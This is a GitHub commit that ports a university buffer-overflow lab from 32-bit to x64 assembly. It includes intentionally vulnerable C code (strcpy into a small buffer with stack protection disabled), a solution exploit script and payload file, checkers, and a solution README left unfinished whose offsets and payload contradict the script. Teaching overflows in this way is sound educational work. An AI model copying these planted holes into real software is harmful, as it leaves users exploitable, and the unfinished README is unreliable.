Skip to content

Commit 88fc85e

Browse files
committed
labs/lab-10: ported lab to x64
labs/lab-10/data_buffer: ported data_buffer task to x64 labs/lab-10/stack-buffer: updated README for x64 bits - Changed 32-bit regs to 64-bit versions. - Added explanations for `part 3` of the exercise, - changed from `mov byte [ebx + TODO], TODO` to `mov dword [rbx + TODO], TODO`. We are writing an integer, so dword seems appropriate. labs/lab-10/stack-buffer: ported task to x64 - simple changes to register names + x64 calling conventions labs/lab-10/stack-buffer: ported solution to x64: - simple changes to register names + x64 calling conventions - to solve todo3 it's the same like before, just use 64 bit registers in base+offset calculation. - to solve todo2 we need to print 84 bytes instead of 76 bytes, because the return stack frame and return address are 8 bytes instead of 4. labs/lab-10/stack-buffer: fixed checker - Now checks for 84 bytes length instead of 76 bytes length. This is because old stack frame and return address are now 8 bytes instead of 4 bytes. labs/lab-10: updated payload from 4byte int to 8byte long - Changed the flag, we are on 64 bits so lets use some long long vars - Added extra explanations in support/exploit.py to help the student with strings in python labs/lab-10/overflow-for-binary: Updated source file, makefile, README and the binary for the exercise to 64bits - Makefile: removed 32bit flags - overflow_in_binary.c: changed flag to 8 bytes long long, changed win/lose printfs, removed the random line of code (exercise is already pretty difficult) - overflow-for-binary: compiled the new binary (without -g flags) labs/lab-10/overflow-for-binary: update checker to check for different print string for "win" case - now the checker checks for "VICTORY!!!" instead of "Great success!" labs/lab-10/overflow-for-binary: Update README file in solution/ , not final - When porting this ex to x64, ghidra seems to analyze the binary in a weird way. e.g. variable named `local10` is at the position of `stack - 10 bytes` in x86, but in x64 `local10` is `stack - 8 bytes`. - analyzing the binary with `objdump -d -M intel` leads to more accurate results and is preferrable - Consider moving this to support/ folder? What is the point of the README if it doesn't help you solve the exercise? labs/lab-10/read-stdin-gets: ported exercise to x64 - source file: Changed .asm file to x64 calling conventions and register names, added some useful explanations - Makefile: removed 32bit flags - exploit.py: added helpful explanations for strings in python labs/lab-10/read-stdin-gets: Updated README - changed payload creation command from python2.7 to python3 because nobody uses python2.7 - replaced 'gedit' with 'nano' labs/lab-10/read-stdin-fgets: port task and README to x64 - Change calling conventions and register names in .asm files - remove 32bit flags from Makefiles - change comments about 32bit calling conventions to 64bit calling conventions in the README labs/lab-10/overflow-in-c: added .asm and binary file as specified in README - In task README it says a binary and an .asm file would be already present, so I removed the .gitignore rule that was blocking that labs/lab-10/overflow-in-c: upated READMEs with x64 register names and more appropriate comments regarding 64bit executables labs/lab-10/overflow-in-c: change payload to new payload in script and .txt labs/lab-10/overflow-in-c: small modif in source file and remove 32bit flag from makefile - do_overflow.c: add more padding to make the presence of this buffer more significant, if only 5 byte size of padding then it's completely pointless. The padding added by the compiler (even without the presence of `in_between[5]`) eclipses `in_between[5]`, so we make it `in_between[25]` - remove `-m32` flag from CC labs/lab-10/overwrite-ret-addr: updated solution/README to x64, created support/README to help the student complete task, updated python files - python files changed to fit the new sizes on the x64 stack - added helpful comments and tips in python files - added new support/README to help the student with this unfamiliar workflow of analyzing binaries - changed solution/README to fit x64 conventions maybe consider deleting the solution/README and putting everything in support/README? P.S.: on the page online lab page on cs-pub-ro.github.io you can see the `writeup` which is solution/README (even if during the lab you would not want to get the solution spoiled) labs/lab-10/overwrite-ret-addr: removed 32bit flags from Makefile labs/lab-10/overwrite-ret-addr: bug present in break_this.c, compiled binary - The buffer overflow works correctly, the return addr is changed and the program flow goes into `magic_function`, but it does not execute the system("cowsay...") part. - I placed a `puts("hi mom")` to show the function gets called - I do have cowsay installed on the system labs/lab-10: fixed read-stdin-gets & read-stdin-fgets checkers - instead of checking exit code of python script as suggested, changed the test_read_stdin_fgets.c test to pass if the hard-coded string `var is 0x...` is found. Before it checked to see if `CAFEBABE` (the initial value that the task asks us to change) was not part of output and in that case pass the test. - I don't find it necessary to check python exit code in test. If the target .asm file does not compile (as mentioned in the issue) the test will not pass now. Fixes #115 labs/lab-10/overwrite-ret-addr: change elf32 to elf64 in Makefile labs/lab-10: Remove whitespaces for linter, remove overflow_in_c/ binary and .asm files - let the student compile on their machine with `make`, this shouldn't be a problem with x64 libs Signed-off-by: Berevoesu Remus-Napoleon <berevoescu.remus@gmail.com>
1 parent eb7ecfe commit 88fc85e

42 files changed

Lines changed: 329 additions & 292 deletions

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

labs/lab-10/tasks/data-buffer/support/Makefile

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -5,9 +5,9 @@ RM = rm
55
SRCS := $(shell find . -name "*.asm")
66
OBJS := $(SRCS:.asm=.o)
77

8-
ASFLAGS ?= -f elf32 -F dwarf
8+
ASFLAGS ?= -f elf64 -F dwarf
99
CFLAGS ?= -Wall
10-
LDFLAGS ?= -m32 -no-pie
10+
LDFLAGS ?= -no-pie
1111

1212
TARGET_EXEC = data_buffer
1313

@@ -20,4 +20,4 @@ $(OBJS): $(SRCS)
2020
.PHONY: clean
2121

2222
clean:
23-
$(RM) -r *.o $(TARGET_EXEC)
23+
$(RM) -f *.o $(TARGET_EXEC)

labs/lab-10/tasks/data-buffer/support/data_buffer.asm

Lines changed: 20 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -16,51 +16,47 @@ section .data
1616
null_string: db 0
1717

1818
section .text
19-
2019
global main
2120

2221
main:
23-
push ebp
24-
mov ebp, esp
22+
push rbp
23+
mov rbp, rsp
2524

2625
; Fill data in buffer: buffer[i] = i + 1
2726
; ecx is buffer index (i), dl is buffer value (i + 1). dl needs to be ecx + 1.
2827
; Buffer length is 64 bytes.
29-
xor ecx, ecx
28+
xor rcx, rcx
3029
fill_byte:
3130
mov dl, cl
3231
inc dl
33-
mov byte [buffer + ecx], dl
34-
inc ecx
35-
cmp ecx, len
32+
mov byte [buffer + rcx], dl
33+
inc rcx
34+
cmp rcx, len
3635
jl fill_byte
3736

38-
; Text before printing buffer.
39-
push buffer_intro_message
37+
; printf("buffer is:");
38+
xor rax, rax ; required for variadic functions
39+
mov rdi, buffer_intro_message ; 1st arg
4040
call printf
41-
add esp, 4
4241

43-
xor ecx, ecx
42+
xor rcx, rcx
4443
print_byte:
45-
xor eax, eax
46-
mov al, byte[buffer + ecx]
47-
push ecx ; save ecx, printf may change it
44+
mov rdi, byte_format ; 1st arg (format)
45+
xor rsi, rsi ; clear rsi
46+
mov sil, byte [buffer + rcx] ; 2nd arg (value)
47+
xor rax, rax ; variadic call requirement
4848

49-
; Print current byte.
50-
push eax
51-
push byte_format
49+
push rcx ; save rcx (caller-saved)
5250
call printf
53-
add esp, 8
51+
pop rcx ; restore rcx
5452

55-
pop ecx ; restore ecx
56-
inc ecx
57-
cmp ecx, len
53+
inc rcx
54+
cmp rcx, len
5855
jl print_byte
5956

6057
; Print new line. C equivalent instruction is puts("").
61-
push null_string
58+
mov rdi, null_string
6259
call puts
63-
add esp, 4
6460

6561
leave
66-
ret
62+
ret

labs/lab-10/tasks/overflow-for-binary/solution/Makefile

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -8,9 +8,9 @@ OBJS_ASM := $(SRCS_ASM:.asm=.o)
88
SRCS_C := $(wildcard *.c)
99
OBJS_C := $(SRCS_C:.c=.o)
1010

11-
ASFLAGS ?= -f elf32 -F dwarf
12-
CFLAGS ?= -m32 -g -Wall -Wextra -Werror -fno-pic -masm=intel -fno-stack-protector
13-
LDFLAGS ?= -m32 -no-pie
11+
ASFLAGS ?= -f elf64 -F dwarf
12+
CFLAGS ?= -Wall -Wextra -Werror -fno-pic -masm=intel -fno-stack-protector
13+
LDFLAGS ?= -no-pie
1414

1515
TARGET_EXEC = overflow_in_binary
1616

labs/lab-10/tasks/overflow-for-binary/solution/README.md

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@ parent: 'Task: Buffer Overflow for Binary'
1111

1212
In `check_string()`:
1313

14-
- `local_10` must be set to `0x4E305250` to call `win()` (carefully, use the little-endian encoding)
15-
- `local_10` is stored at stack - `0x10`
16-
- The buffer is stored at `stack - 0x30`
17-
- So the payload should consist of `32 (48 - 16)` `'A'` characters, followed by `"\x50\x52\x30\x4E"`
14+
- `local_10` must be set to `0x52413342494c3056` to call `win()` (carefully, use the little-endian encoding)
15+
- `local_10` is stored at `stack - 0x10` ??? sau `stack - 0x8`
16+
- The buffer is stored at `stack - 0x30` ??? sau `stack - 0x28`
17+
- So the payload should consist of `32 (48 - 16)` `'A'` characters, followed by `"\x50\x52\x30\x4E"` <-- change this

labs/lab-10/tasks/overflow-for-binary/solution/exploit.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,8 @@
33

44

55
def run_executable():
6-
argument = 32 * "A" + "\x50\x52\x30\x4e"
6+
7+
argument = 40 * 'A' + '\x56\x30\x4c\x49\x42\x33\x41\x52'
78
subprocess.run(["./overflow_in_binary", argument])
89

910

labs/lab-10/tasks/overflow-for-binary/solution/overflow_in_binary.c

Lines changed: 4 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -6,23 +6,22 @@
66

77
static void win(void)
88
{
9-
puts("Great success!");
9+
puts("VICTORY!!!");
1010
}
1111

1212
static void fail(void)
1313
{
14-
puts("Epic failure!");
14+
puts("defeat!");
1515
}
1616

1717
static void check_string(const char *str)
1818
{
19-
unsigned int flag = 0x12345678;
19+
unsigned long long flag = 0xCAFEBABE12345678;
2020
char buffer[32];
2121

2222
strcpy(buffer, str);
23-
buffer[15] = str[1];
2423

25-
if (flag == 0x4e305250)
24+
if (flag == 0x52413342494C3056) // 0x52 41 33 42 49 4C 30 56
2625
win();
2726
else
2827
fail();
Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPR0N
1+
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAV0LIB3AR

labs/lab-10/tasks/overflow-for-binary/support/exploit.py

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,14 @@
33

44

55
def run_executable():
6+
67
argument = "" # TODO: Put here the payload you have discovered
8+
9+
# Pro Tip: in python you can use `5 * 'A'` as shorthand for "AAAAA"
10+
# then concatenate with `+` operator
11+
# e.g.: 5 * 'A' + '\x45\x4f\x59' = "AAAAAHOY"
12+
# those are ascii characters in hex encoding!
13+
714
subprocess.run(["./overflow_in_binary", argument])
815

916

8.41 KB
Binary file not shown.

labs/lab-10/tasks/overflow-for-binary/tests/test.sh

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@
55
source ./graded_test.inc.sh
66

77
test_exploit() {
8-
if ( cd ../support && python3 exploit.py | grep -q "Great success!" ); then
8+
if ( cd ../support && python3 exploit.py | grep -q VICTORY!!! ); then
99
return 1
1010
else
1111
return 0

0 commit comments

Comments
 (0)